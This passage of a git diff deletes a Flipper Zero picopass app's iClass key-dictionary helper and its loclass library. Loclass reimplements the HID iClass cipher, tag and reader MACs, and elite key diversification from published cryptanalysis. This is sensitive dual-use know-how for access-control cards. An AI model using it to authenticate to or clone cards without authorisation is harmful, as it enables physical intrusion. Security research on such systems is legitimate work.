furi_string_get_char(next_line, i), - furi_string_get_char(next_line, i + 1), - &key_byte_tmp); - key[i / 2] = key_byte_tmp; - } - key_read = true; - } - - furi_string_free(next_line); - return key_read; -} - -bool iclass_elite_dict_rewind(IclassEliteDict* dict) { - furi_assert(dict); - furi_assert(dict->stream); - - return stream_rewind(dict->stream); -} - -bool iclass_elite_dict_add_key(IclassEliteDict* dict, uint8_t* key) { - furi_assert(dict); - furi_assert(dict->stream); - - FuriString* key_str = furi_string_alloc(); - for(size_t i = 0; i < 6; i++) { - furi_string_cat_printf(key_str, "%02X", key[i]); - } - furi_string_cat_printf(key_str, "\n"); - - bool key_added = false; - do { - if(!stream_seek(dict->stream, 0, StreamOffsetFromEnd)) break; - if(!stream_insert_string(dict->stream, key_str)) break; - key_added = true; - } while(false); - - furi_string_free(key_str); - return key_added; -} diff --git a/applications/external/picopass/helpers/iclass_elite_dict.h b/applications/external/picopass/helpers/iclass_elite_dict.h deleted file mode 100644 index 150cd1b76..000000000 --- a/applications/external/picopass/helpers/iclass_elite_dict.h +++ /dev/null @@ -1,29 +0,0 @@ -#pragma once - -#include -#include -#include -#include -#include - -typedef enum { - IclassEliteDictTypeUser, - IclassEliteDictTypeFlipper, - IclassStandardDictTypeFlipper, -} IclassEliteDictType; - -typedef struct IclassEliteDict IclassEliteDict; - -bool iclass_elite_dict_check_presence(IclassEliteDictType dict_type); - -IclassEliteDict* iclass_elite_dict_alloc(IclassEliteDictType dict_type); - -void iclass_elite_dict_free(IclassEliteDict* dict); - -uint32_t iclass_elite_dict_get_total_keys(IclassEliteDict* dict); - -bool iclass_elite_dict_get_next_key(IclassEliteDict* dict, uint8_t* key); - -bool iclass_elite_dict_rewind(IclassEliteDict* dict); - -bool iclass_elite_dict_add_key(IclassEliteDict* dict, uint8_t* key); diff --git a/applications/external/picopass/icons/DolphinMafia_115x62.png b/applications/external/picopass/icons/DolphinMafia_115x62.png deleted file mode 100644 index 66fdb40ff..000000000 Binary files a/applications/external/picopass/icons/DolphinMafia_115x62.png and /dev/null differ diff --git a/applications/external/picopass/icons/DolphinNice_96x59.png b/applications/external/picopass/icons/DolphinNice_96x59.png deleted file mode 100644 index a299d3630..000000000 Binary files a/applications/external/picopass/icons/DolphinNice_96x59.png and /dev/null differ diff --git a/applications/external/picopass/icons/Nfc_10px.png b/applications/external/picopass/icons/Nfc_10px.png deleted file mode 100644 index 6bc027111..000000000 Binary files a/applications/external/picopass/icons/Nfc_10px.png and /dev/null differ diff --git a/applications/external/picopass/icons/RFIDDolphinReceive_97x61.png b/applications/external/picopass/icons/RFIDDolphinReceive_97x61.png deleted file mode 100644 index e1f5f9f80..000000000 Binary files a/applications/external/picopass/icons/RFIDDolphinReceive_97x61.png and /dev/null differ diff --git a/applications/external/picopass/icons/RFIDDolphinSend_97x61.png b/applications/external/picopass/icons/RFIDDolphinSend_97x61.png deleted file mode 100644 index 380a970d9..000000000 Binary files a/applications/external/picopass/icons/RFIDDolphinSend_97x61.png and /dev/null differ diff --git a/applications/external/picopass/lib/loclass/optimized_cipher.c b/applications/external/picopass/lib/loclass/optimized_cipher.c deleted file mode 100644 index 94df07bae..000000000 --- a/applications/external/picopass/lib/loclass/optimized_cipher.c +++ /dev/null @@ -1,299 +0,0 @@ -//----------------------------------------------------------------------------- -// Borrowed initially from https://github.com/holiman/loclass -// Copyright (C) 2014 Martin Holst Swende -// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. -// -// This program is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// This program is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// See LICENSE.txt for the text of the license. -//----------------------------------------------------------------------------- -// WARNING -// -// THIS CODE IS CREATED FOR EXPERIMENTATION AND EDUCATIONAL USE ONLY. -// -// USAGE OF THIS CODE IN OTHER WAYS MAY INFRINGE UPON THE INTELLECTUAL -// PROPERTY OF OTHER PARTIES, SUCH AS INSIDE SECURE AND HID GLOBAL, -// AND MAY EXPOSE YOU TO AN INFRINGEMENT ACTION FROM THOSE PARTIES. -// -// THIS CODE SHOULD NEVER BE USED TO INFRINGE PATENTS OR INTELLECTUAL PROPERTY RIGHTS. -//----------------------------------------------------------------------------- -// It is a reconstruction of the cipher engine used in iClass, and RFID techology. -// -// The implementation is based on the work performed by -// Flavio D. Garcia, Gerhard de Koning Gans, Roel Verdult and -// Milosch Meriac in the paper "Dismantling IClass". -//----------------------------------------------------------------------------- -/* - This file contains an optimized version of the MAC-calculation algorithm. Some measurements on - a std laptop showed it runs in about 1/3 of the time: - - Std: 0.428962 - Opt: 0.151609 - - Additionally, it is self-reliant, not requiring e.g. bitstreams from the cipherutils, thus can - be easily dropped into a code base. - - The optimizations have been performed in the following steps: - * Parameters passed by reference instead of by value. - * Iteration instead of recursion, un-nesting recursive loops into for-loops. - * Handling of bytes instead of individual bits, for less shuffling and masking - * Less creation of "objects", structs, and instead reuse of alloc:ed memory - * Inlining some functions via #define:s - - As a consequence, this implementation is less generic. Also, I haven't bothered documenting this. - For a thorough documentation, check out the MAC-calculation within cipher.c instead. - - -- MHS 2015 -**/ - -/** - - The runtime of opt_doTagMAC_2() with the MHS optimized version was 403 microseconds on Proxmark3. - This was still to slow for some newer readers which didn't want to wait that long. - - Further optimizations to speedup the MAC calculations: - * Optimized opt_Tt logic - * Look up table for opt_select - * Removing many unnecessary bit maskings (& 0x1) - * updating state in place instead of alternating use of a second state structure - * remove the necessity to reverse bits of input and output bytes - - opt_doTagMAC_2() now completes in 270 microseconds. - - -- piwi 2019 -**/ - -/** - add the possibility to do iCLASS on device only - -- iceman 2020 -**/ - -#include "optimized_cipher.h" -#include "optimized_elite.h" -#include "optimized_ikeys.h" -#include "optimized_cipherutils.h" - -static const uint8_t loclass_opt_select_LUT[256] = { - 00, 03, 02, 01, 02, 03, 00, 01, 04, 07, 07, 04, 06, 07, 05, 04, 01, 02, 03, 00, 02, 03, 00, 01, - 05, 06, 06, 05, 06, 07, 05, 04, 06, 05, 04, 07, 04, 05, 06, 07, 06, 05, 05, 06, 04, 05, 07, 06, - 07, 04, 05, 06, 04, 05, 06, 07, 07, 04, 04, 07, 04, 05, 07, 06, 06, 05, 04, 07, 04, 05, 06, 07, - 02, 01, 01, 02, 00, 01, 03, 02, 03, 00, 01, 02, 00, 01, 02, 03, 07, 04, 04, 07, 04, 05, 07, 06, - 00, 03, 02, 01, 02, 03, 00, 01, 00, 03, 03, 00, 02, 03, 01, 00, 05, 06, 07, 04, 06, 07, 04, 05, - 05, 06, 06, 05, 06, 07, 05, 04, 02, 01, 00, 03, 00, 01, 02, 03, 06, 05, 05, 06, 04, 05, 07, 06, - 03, 00, 01, 02, 00, 01, 02, 03, 07, 04, 04, 07, 04, 05, 07, 06, 02, 01, 00, 03, 00, 01, 02, 03, - 02, 01, 01, 02, 00, 01, 03, 02, 03, 00, 01, 02, 00, 01, 02, 03, 03, 00, 00, 03, 00, 01, 03, 02, - 04, 07, 06, 05, 06, 07, 04, 05, 00, 03, 03, 00, 02, 03, 01, 00, 01, 02, 03, 00, 02, 03, 00, 01, - 05, 06, 06, 05, 06, 07, 05, 04, 04, 07, 06, 05, 06, 07, 04, 05, 04, 07, 07, 04, 06, 07, 05, 04, - 01, 02, 03, 00, 02, 03, 00, 01, 01, 02, 02, 01, 02, 03, 01, 00}; - -/********************** the table above has been generated with this code: ******** -#include "util.h" -static void init_opt_select_LUT(void) { - for (int r = 0; r < 256; r++) { - uint8_t r_ls2 = r << 2; - uint8_t r_and_ls2 = r & r_ls2; - uint8_t r_or_ls2 = r | r_ls2; - uint8_t z0 = (r_and_ls2 >> 5) ^ ((r & ~r_ls2) >> 4) ^ ( r_or_ls2 >> 3); - uint8_t z1 = (r_or_ls2 >> 6) ^ ( r_or_ls2 >> 1) ^ (r >> 5) ^ r; - uint8_t z2 = ((r & ~r_ls2) >> 4) ^ (r_and_ls2 >> 3) ^ r; - loclass_opt_select_LUT[r] = (z0 & 4) | (z1 & 2) | (z2 & 1); - } - print_result("", loclass_opt_select_LUT, 256); -} -***********************************************************************************/ - -#define loclass_opt__select(x, y, r) \ - (4 & ((((r) & ((r) << 2)) >> 5) ^ (((r) & ~((r) << 2)) >> 4) ^ (((r) | (r) << 2) >> 3))) | \ - (2 & ((((r) | (r) << 2) >> 6) ^ (((r) | (r) << 2) >> 1) ^ ((r) >> 5) ^ (r) ^ (((x) ^ (y)) << 1))) | \ - (1 & ((((r) & ~((r) << 2)) >> 4) ^ (((r) & ((r) << 2)) >> 3) ^ (r) ^ (x))) - -static void loclass_opt_successor(const uint8_t* k, LoclassState_t* s, uint8_t y) { - uint16_t Tt = s->t & 0xc533; - Tt = Tt ^ (Tt >> 1); - Tt = Tt ^ (Tt >> 4); - Tt = Tt ^ (Tt >> 10); - Tt = Tt ^ (Tt >> 8); - - s->t = (s->t >> 1); - s->t |= (Tt ^ (s->r >> 7) ^ (s->r >> 3)) << 15; - - uint8_t opt_B = s->b; - opt_B ^= s->b >> 6; - opt_B ^= s->b >> 5; - opt_B ^= s->b >> 4; - - s->b = s->b >> 1; - s->b |= (opt_B ^ s->r) << 7; - - uint8_t opt_select = loclass_opt_select_LUT[s->r] & 0x04; - opt_select |= (loclass_opt_select_LUT[s->r] ^ ((Tt ^ y) << 1)) & 0x02; - opt_select |= (loclass_opt_select_LUT[s->r] ^ Tt) & 0x01; - - uint8_t r = s->r; - s->r = (k[opt_select] ^ s->b) + s->l; - s->l = s->r + r; -} - -static void loclass_opt_suc( - const uint8_t* k, - LoclassState_t* s, - const uint8_t* in, - uint8_t length, - bool add32Zeroes) { - for(int i = 0; i < length; i++) { - uint8_t head = in[i]; - for(int j = 0; j < 8; j++) { - loclass_opt_successor(k, s, head); - head >>= 1; - } - } - //For tag MAC, an additional 32 zeroes - if(add32Zeroes) { - for(int i = 0; i < 16; i++) { - loclass_opt_successor(k, s, 0); - loclass_opt_successor(k, s, 0); - } - } -} - -static void loclass_opt_output(const uint8_t* k, LoclassState_t* s, uint8_t* buffer) { - for(uint8_t times = 0; times < 4; times++) { - uint8_t bout = 0; - bout |= (s->r & 0x4) >> 2; - loclass_opt_successor(k, s, 0); - bout |= (s->r & 0x4) >> 1; - loclass_opt_successor(k, s, 0); - bout |= (s->r & 0x4); - loclass_opt_successor(k, s, 0); - bout |= (s->r & 0x4) << 1; - loclass_opt_successor(k, s, 0); - bout |= (s->r & 0x4) << 2; - loclass_opt_successor(k, s, 0); - bout |= (s->r & 0x4) << 3; - loclass_opt_successor(k, s, 0); - bout |= (s->r & 0x4) << 4; - loclass_opt_successor(k, s, 0); - bout |= (s->r & 0x4) << 5; - loclass_opt_successor(k, s, 0); - buffer[times] = bout; - } -} - -static void loclass_opt_MAC(uint8_t* k, uint8_t* input, uint8_t* out) { - LoclassState_t _init = { - ((k[0] ^ 0x4c) + 0xEC) & 0xFF, // l - ((k[0] ^ 0x4c) + 0x21) & 0xFF, // r - 0x4c, // b - 0xE012 // t - }; - - loclass_opt_suc(k, &_init, input, 12, false); - loclass_opt_output(k, &_init, out); -} - -static void loclass_opt_MAC_N(uint8_t* k, uint8_t* input, uint8_t in_size, uint8_t* out) { - LoclassState_t _init = { - ((k[0] ^ 0x4c) + 0xEC) & 0xFF, // l - ((k[0] ^ 0x4c) + 0x21) & 0xFF, // r - 0x4c, // b - 0xE012 // t - }; - - loclass_opt_suc(k, &_init, input, in_size, false); - loclass_opt_output(k, &_init, out); -} - -void loclass_opt_doReaderMAC(uint8_t* cc_nr_p, uint8_t* div_key_p, uint8_t mac[4]) { - uint8_t dest[] = {0, 0, 0, 0, 0, 0, 0, 0}; - loclass_opt_MAC(div_key_p, cc_nr_p, dest); - memcpy(mac, dest, 4); -} - -void loclass_opt_doReaderMAC_2( - LoclassState_t _init, - uint8_t* nr, - uint8_t mac[4], - const uint8_t* div_key_p) { - loclass_opt_suc(div_key_p, &_init, nr, 4, false); - loclass_opt_output(div_key_p, &_init, mac); -} - -void loclass_doMAC_N(uint8_t* in_p, uint8_t in_size, uint8_t* div_key_p, uint8_t mac[4]) { - uint8_t dest[] = {0, 0, 0, 0, 0, 0, 0, 0}; - loclass_opt_MAC_N(div_key_p, in_p, in_size, dest); - memcpy(mac, dest, 4); -} - -void loclass_opt_doTagMAC(uint8_t* cc_p, const uint8_t* div_key_p, uint8_t mac[4]) { - LoclassState_t _init = { - ((div_key_p[0] ^ 0x4c) + 0xEC) & 0xFF, // l - ((div_key_p[0] ^ 0x4c) + 0x21) & 0xFF, // r - 0x4c, // b - 0xE012 // t - }; - loclass_opt_suc(div_key_p, &_init, cc_p, 12, true); - loclass_opt_output(div_key_p, &_init, mac); -} - -/** - * The tag MAC can be divided (both can, but no point in dividing the reader mac) into - * two functions, since the first 8 bytes are known, we can pre-calculate the state - * reached after feeding CC to the cipher. - * @param cc_p - * @param div_key_p - * @return the cipher state - */ -LoclassState_t loclass_opt_doTagMAC_1(uint8_t* cc_p, const uint8_t* div_key_p) { - LoclassState_t _init = { - ((div_key_p[0] ^ 0x4c) + 0xEC) & 0xFF, // l - ((div_key_p[0] ^ 0x4c) + 0x21) & 0xFF, // r - 0x4c, // b - 0xE012 // t - }; - loclass_opt_suc(div_key_p, &_init, cc_p, 8, false); - return _init; -} - -/** - * The second part of the tag MAC calculation, since the CC is already calculated into the state, - * this function is fed only the NR, and internally feeds the remaining 32 0-bits to generate the tag - * MAC response. - * @param _init - precalculated cipher state - * @param nr - the reader challenge - * @param mac - where to store the MAC - * @param div_key_p - the key to use - */ -void loclass_opt_doTagMAC_2( - LoclassState_t _init, - uint8_t* nr, - uint8_t mac[4], - const uint8_t* div_key_p) { - loclass_opt_suc(div_key_p, &_init, nr, 4, true); - loclass_opt_output(div_key_p, &_init, mac); -} - -void loclass_iclass_calc_div_key(uint8_t* csn, uint8_t* key, uint8_t* div_key, bool elite) { - if(elite) { - uint8_t keytable[128] = {0}; - uint8_t key_index[8] = {0}; - uint8_t key_sel[8] = {0}; - uint8_t key_sel_p[8] = {0}; - loclass_hash2(key, keytable); - loclass_hash1(csn, key_index); - for(uint8_t i = 0; i < 8; i++) key_sel[i] = keytable[key_index[i]]; - - //Permute from iclass format to standard format - loclass_permutekey_rev(key_sel, key_sel_p); - loclass_diversifyKey(csn, key_sel_p, div_key); - } else { - loclass_diversifyKey(csn, key, div_key); - } -} diff --git a/applications/external/picopass/lib/loclass/optimized_cipher.h b/applications/external/picopass/lib/loclass/optimized_cipher.h deleted file mode 100644 index 2158f0acf..000000000 --- a/applications/external/picopass/lib/loclass/optimized_cipher.h +++ /dev/null @@ -1,98 +0,0 @@ -//----------------------------------------------------------------------------- -// Borrowed initially from https://github.com/holiman/loclass -// More recently from https://github.com/RfidResearchGroup/proxmark3 -// Copyright (C) 2014 Martin Holst Swende -// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. -// -// This program is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// This program is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// See LICENSE.txt for the text of the license. -//----------------------------------------------------------------------------- -// WARNING -// -// THIS CODE IS CREATED FOR EXPERIMENTATION AND EDUCATIONAL USE ONLY. -// -// USAGE OF THIS CODE IN OTHER WAYS MAY INFRINGE UPON THE INTELLECTUAL -// PROPERTY OF OTHER PARTIES, SUCH AS INSIDE SECURE AND HID GLOBAL, -// AND MAY EXPOSE YOU TO AN INFRINGEMENT ACTION FROM THOSE PARTIES. -// -// THIS CODE SHOULD NEVER BE USED TO INFRINGE PATENTS OR INTELLECTUAL PROPERTY RIGHTS. -//----------------------------------------------------------------------------- -// It is a reconstruction of the cipher engine used in iClass, and RFID techology. -// -// The implementation is based on the work performed by -// Flavio D. Garcia, Gerhard de Koning Gans, Roel Verdult and -// Milosch Meriac in the paper "Dismantling IClass". -//----------------------------------------------------------------------------- -#ifndef OPTIMIZED_CIPHER_H -#define OPTIMIZED_CIPHER_H -#include -#include -#include -#include - -/** -* Definition 1 (Cipher state). A cipher state of iClass s is an element of F 40/2 -* consisting of the following four components: -* 1. the left register l = (l 0 . . . l 7 ) ∈ F 8/2 ; -* 2. the right register r = (r 0 . . . r 7 ) ∈ F 8/2 ; -* 3. the top register t = (t 0 . . . t 15 ) ∈ F 16/2 . -* 4. the bottom register b = (b 0 . . . b 7 ) ∈ F 8/2 . -**/ -typedef struct { - uint8_t l; - uint8_t r; - uint8_t b; - uint16_t t; -} LoclassState_t; - -/** The reader MAC is MAC(key, CC * NR ) - **/ -void loclass_opt_doReaderMAC(uint8_t* cc_nr_p, uint8_t* div_key_p, uint8_t mac[4]); - -void loclass_opt_doReaderMAC_2( - LoclassState_t _init, - uint8_t* nr, - uint8_t mac[4], - const uint8_t* div_key_p); - -/** - * The tag MAC is MAC(key, CC * NR * 32x0)) - */ -void loclass_opt_doTagMAC(uint8_t* cc_p, const uint8_t* div_key_p, uint8_t mac[4]); - -/** - * The tag MAC can be divided (both can, but no point in dividing the reader mac) into - * two functions, since the first 8 bytes are known, we can pre-calculate the state - * reached after feeding CC to the cipher. - * @param cc_p - * @param div_key_p - * @return the cipher state - */ -LoclassState_t loclass_opt_doTagMAC_1(uint8_t* cc_p, const uint8_t* div_key_p); -/** - * The second part of the tag MAC calculation, since the CC is already calculated into the state, - * this function is fed only the NR, and internally feeds the remaining 32 0-bits to generate the tag - * MAC response. - * @param _init - precalculated cipher state - * @param nr - the reader challenge - * @param mac - where to store the MAC - * @param div_key_p - the key to use - */ -void loclass_opt_doTagMAC_2( - LoclassState_t _init, - uint8_t* nr, - uint8_t mac[4], - const uint8_t* div_key_p); - -void loclass_doMAC_N(uint8_t* in_p, uint8_t in_size, uint8_t* div_key_p, uint8_t mac[4]); -void loclass_iclass_calc_div_key(uint8_t* csn, uint8_t* key, uint8_t* div_key, bool elite); -#endif // OPTIMIZED_CIPHER_H diff --git a/applications/external/picopass/lib/loclass/optimized_cipherutils.c b/applications/external/picopass/lib/loclass/optimized_cipherutils.c deleted file mode 100644 index e6a87c4a7..000000000 --- a/applications/external/picopass/lib/loclass/optimized_cipherutils.c +++ /dev/null @@ -1,136 +0,0 @@ -//----------------------------------------------------------------------------- -// Borrowed initially from https://github.com/holiman/loclass -// Copyright (C) 2014 Martin Holst Swende -// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. -// -// This program is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// This program is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// See LICENSE.txt for the text of the license. -//----------------------------------------------------------------------------- -// WARNING -// -// THIS CODE IS CREATED FOR EXPERIMENTATION AND EDUCATIONAL USE ONLY. -// -// USAGE OF THIS CODE IN OTHER WAYS MAY INFRINGE UPON THE INTELLECTUAL -// PROPERTY OF OTHER PARTIES, SUCH AS INSIDE SECURE AND HID GLOBAL, -// AND MAY EXPOSE YOU TO AN INFRINGEMENT ACTION FROM THOSE PARTIES. -// -// THIS CODE SHOULD NEVER BE USED TO INFRINGE PATENTS OR INTELLECTUAL PROPERTY RIGHTS. -//----------------------------------------------------------------------------- -// It is a reconstruction of the cipher engine used in iClass, and RFID techology. -// -// The implementation is based on the work performed by -// Flavio D. Garcia, Gerhard de Koning Gans, Roel Verdult and -// Milosch Meriac in the paper "Dismantling IClass". -//----------------------------------------------------------------------------- -#include "optimized_cipherutils.h" -#include - -/** - * - * @brief Return and remove the first bit (x0) in the stream : - * @param stream - * @return - */ -bool loclass_headBit(LoclassBitstreamIn_t* stream) { - int bytepos = stream->position >> 3; // divide by 8 - int bitpos = (stream->position++) & 7; // mask out 00000111 - return (*(stream->buffer + bytepos) >> (7 - bitpos)) & 1; -} -/** - * @brief Return and remove the last bit (xn) in the stream: - * @param stream - * @return - */ -bool loclass_tailBit(LoclassBitstreamIn_t* stream) { - int bitpos = stream->numbits - 1 - (stream->position++); - - int bytepos = bitpos >> 3; - bitpos &= 7; - return (*(stream->buffer + bytepos) >> (7 - bitpos)) & 1; -} -/** - * @brief Pushes bit onto the stream - * @param stream - * @param bit - */ -void loclass_pushBit(LoclassBitstreamOut_t* stream, bool bit) { - int bytepos = stream->position >> 3; // divide by 8 - int bitpos = stream->position & 7; - *(stream->buffer + bytepos) |= (bit) << (7 - bitpos); - stream->position++; - stream->numbits++; -} - -/** - * @brief Pushes the lower six bits onto the stream - * as b0 b1 b2 b3 b4 b5 b6 - * @param stream - * @param bits - */ -void loclass_push6bits(LoclassBitstreamOut_t* stream, uint8_t bits) { - loclass_pushBit(stream, bits & 0x20); - loclass_pushBit(stream, bits & 0x10); - loclass_pushBit(stream, bits & 0x08); - loclass_pushBit(stream, bits & 0x04); - loclass_pushBit(stream, bits & 0x02); - loclass_pushBit(stream, bits & 0x01); -} - -/** - * @brief loclass_bitsLeft - * @param stream - * @return number of bits left in stream - */ -int loclass_bitsLeft(LoclassBitstreamIn_t* stream) { - return stream->numbits - stream->position; -} -/** - * @brief numBits - * @param stream - * @return Number of bits stored in stream - */ -void loclass_x_num_to_bytes(uint64_t n, size_t len, uint8_t* dest) { - while(len--) { - dest[len] = (uint8_t)n; - n >>= 8; - } -} - -uint64_t loclass_x_bytes_to_num(uint8_t* src, size_t len) { - uint64_t num = 0; - while(len--) { - num = (num << 8) | (*src); - src++; - } - return num; -} - -uint8_t loclass_reversebytes(uint8_t b) { - b = (b & 0xF0) >> 4 | (b & 0x0F) << 4; - b = (b & 0xCC) >> 2 | (b & 0x33) << 2; - b = (b & 0xAA) >> 1 | (b & 0x55) << 1; - return b; -} - -void loclass_reverse_arraybytes(uint8_t* arr, size_t len) { - uint8_t i; - for(i = 0; i < len; i++) { - arr[i] = loclass_reversebytes(arr[i]); - } -} - -void loclass_reverse_arraycopy(uint8_t* arr, uint8_t* dest, size_t len) { - uint8_t i; - for(i = 0; i < len; i++) { - dest[i] = loclass_reversebytes(arr[i]); - } -} diff --git a/applications/external/picopass/lib/loclass/optimized_cipherutils.h b/applications/external/picopass/lib/loclass/optimized_cipherutils.h deleted file mode 100644 index 05b682079..000000000 --- a/applications/external/picopass/lib/loclass/optimized_cipherutils.h +++ /dev/null @@ -1,64 +0,0 @@ -//----------------------------------------------------------------------------- -// Borrowed initially from https://github.com/holiman/loclass -// More recently from https://github.com/RfidResearchGroup/proxmark3 -// Copyright (C) 2014 Martin Holst Swende -// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. -// -// This program is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// This program is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// See LICENSE.txt for the text of the license. -//----------------------------------------------------------------------------- -// WARNING -// -// THIS CODE IS CREATED FOR EXPERIMENTATION AND EDUCATIONAL USE ONLY. -// -// USAGE OF THIS CODE IN OTHER WAYS MAY INFRINGE UPON THE INTELLECTUAL -// PROPERTY OF OTHER PARTIES, SUCH AS INSIDE SECURE AND HID GLOBAL, -// AND MAY EXPOSE YOU TO AN INFRINGEMENT ACTION FROM THOSE PARTIES. -// -// THIS CODE SHOULD NEVER BE USED TO INFRINGE PATENTS OR INTELLECTUAL PROPERTY RIGHTS. -//----------------------------------------------------------------------------- -// It is a reconstruction of the cipher engine used in iClass, and RFID techology. -// -// The implementation is based on the work performed by -// Flavio D. Garcia, Gerhard de Koning Gans, Roel Verdult and -// Milosch Meriac in the paper "Dismantling IClass". -//----------------------------------------------------------------------------- -#ifndef CIPHERUTILS_H -#define CIPHERUTILS_H -#include -#include -#include - -typedef struct { - uint8_t* buffer; - uint8_t numbits; - uint8_t position; -} LoclassBitstreamIn_t; - -typedef struct { - uint8_t* buffer; - uint8_t numbits; - uint8_t position; -} LoclassBitstreamOut_t; - -bool loclass_headBit(LoclassBitstreamIn_t* stream); -bool loclass_tailBit(LoclassBitstreamIn_t* stream); -void loclass_pushBit(LoclassBitstreamOut_t* stream, bool bit); -int loclass_bitsLeft(LoclassBitstreamIn_t* stream); - -void loclass_push6bits(LoclassBitstreamOut_t* stream, uint8_t bits); -void loclass_x_num_to_bytes(uint64_t n, size_t len, uint8_t* dest); -uint64_t loclass_x_bytes_to_num(uint8_t* src, size_t len); -uint8_t loclass_reversebytes(uint8_t b); -void loclass_reverse_arraybytes(uint8_t* arr, size_t len); -void loclass_reverse_arraycopy(uint8_t* arr, uint8_t* dest, size_t len); -#endif // CIPHERUTILS_H diff --git a/applications/external/picopass/lib/loclass/optimized_elite.c b/applications/external/picopass/lib/loclass/optimized_elite.c deleted file mode 100644 index 34e987060..000000000 --- a/applications/external/picopass/lib/loclass/optimized_elite.c +++ /dev/null @@ -1,232 +0,0 @@ -//----------------------------------------------------------------------------- -// Borrowed initially from https://github.com/holiman/loclass -// Copyright (C) 2014 Martin Holst Swende -// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. -// -// This program is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// This program is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// See LICENSE.txt for the text of the license. -//----------------------------------------------------------------------------- -// WARNING -// -// THIS CODE IS CREATED FOR EXPERIMENTATION AND EDUCATIONAL USE ONLY. -// -// USAGE OF THIS CODE IN OTHER WAYS MAY INFRINGE UPON THE INTELLECTUAL -// PROPERTY OF OTHER PARTIES, SUCH AS INSIDE SECURE AND HID GLOBAL, -// AND MAY EXPOSE YOU TO AN INFRINGEMENT ACTION FROM THOSE PARTIES. -// -// THIS CODE SHOULD NEVER BE USED TO INFRINGE PATENTS OR INTELLECTUAL PROPERTY RIGHTS. -//----------------------------------------------------------------------------- -// It is a reconstruction of the cipher engine used in iClass, and RFID techology. -// -// The implementation is based on the work performed by -// Flavio D. Garcia, Gerhard de Koning Gans, Roel Verdult and -// Milosch Meriac in the paper "Dismantling IClass". -//----------------------------------------------------------------------------- -#include "optimized_elite.h" - -#include -#include -#include -#include -#include "optimized_ikeys.h" - -/** - * @brief Permutes a key from standard NIST format to Iclass specific format - * from http://www.proxmark.org/forum/viewtopic.php?pid=11220#p11220 - * - * If you loclass_permute [6c 8d 44 f9 2a 2d 01 bf] you get [8a 0d b9 88 bb a7 90 ea] as shown below. - * - * 1 0 1 1 1 1 1 1 bf - * 0 0 0 0 0 0 0 1 01 - * 0 0 1 0 1 1 0 1 2d - * 0 0 1 0 1 0 1 0 2a - * 1 1 1 1 1 0 0 1 f9 - * 0 1 0 0 0 1 0 0 44 - * 1 0 0 0 1 1 0 1 8d - * 0 1 1 0 1 1 0 0 6c - * - * 8 0 b 8 b a 9 e - * a d 9 8 b 7 0 a - * - * @param key - * @param dest - */ -void loclass_permutekey(const uint8_t key[8], uint8_t dest[8]) { - int i; - for(i = 0; i < 8; i++) { - dest[i] = (((key[7] & (0x80 >> i)) >> (7 - i)) << 7) | - (((key[6] & (0x80 >> i)) >> (7 - i)) << 6) | - (((key[5] & (0x80 >> i)) >> (7 - i)) << 5) | - (((key[4] & (0x80 >> i)) >> (7 - i)) << 4) | - (((key[3] & (0x80 >> i)) >> (7 - i)) << 3) | - (((key[2] & (0x80 >> i)) >> (7 - i)) << 2) | - (((key[1] & (0x80 >> i)) >> (7 - i)) << 1) | - (((key[0] & (0x80 >> i)) >> (7 - i)) << 0); - } -} -/** - * Permutes a key from iclass specific format to NIST format - * @brief loclass_permutekey_rev - * @param key - * @param dest - */ -void loclass_permutekey_rev(const uint8_t key[8], uint8_t dest[8]) { - int i; - for(i = 0; i < 8; i++) { - dest[7 - i] = (((key[0] & (0x80 >> i)) >> (7 - i)) << 7) | - (((key[1] & (0x80 >> i)) >> (7 - i)) << 6) | - (((key[2] & (0x80 >> i)) >> (7 - i)) << 5) | - (((key[3] & (0x80 >> i)) >> (7 - i)) << 4) | - (((key[4] & (0x80 >> i)) >> (7 - i)) << 3) | - (((key[5] & (0x80 >> i)) >> (7 - i)) << 2) | - (((key[6] & (0x80 >> i)) >> (7 - i)) << 1) | - (((key[7] & (0x80 >> i)) >> (7 - i)) << 0); - } -} - -/** - * Helper function for loclass_hash1 - * @brief loclass_rr - * @param val - * @return - */ -static uint8_t loclass_rr(uint8_t val) { - return val >> 1 | ((val & 1) << 7); -} - -/** - * Helper function for loclass_hash1 - * @brief rl - * @param val - * @return - */ -static uint8_t loclass_rl(uint8_t val) { - return val << 1 | ((val & 0x80) >> 7); -} - -/** - * Helper function for loclass_hash1 - * @brief loclass_swap - * @param val - * @return - */ -static uint8_t loclass_swap(uint8_t val) { - return ((val >> 4) & 0xFF) | ((val & 0xFF) << 4); -} - -/** - * Hash1 takes CSN as input, and determines what bytes in the keytable will be used - * when constructing the K_sel. - * @param csn the CSN used - * @param k output - */ -void loclass_hash1(const uint8_t csn[], uint8_t k[]) { - k[0] = csn[0] ^ csn[1] ^ csn[2] ^ csn[3] ^ csn[4] ^ csn[5] ^ csn[6] ^ 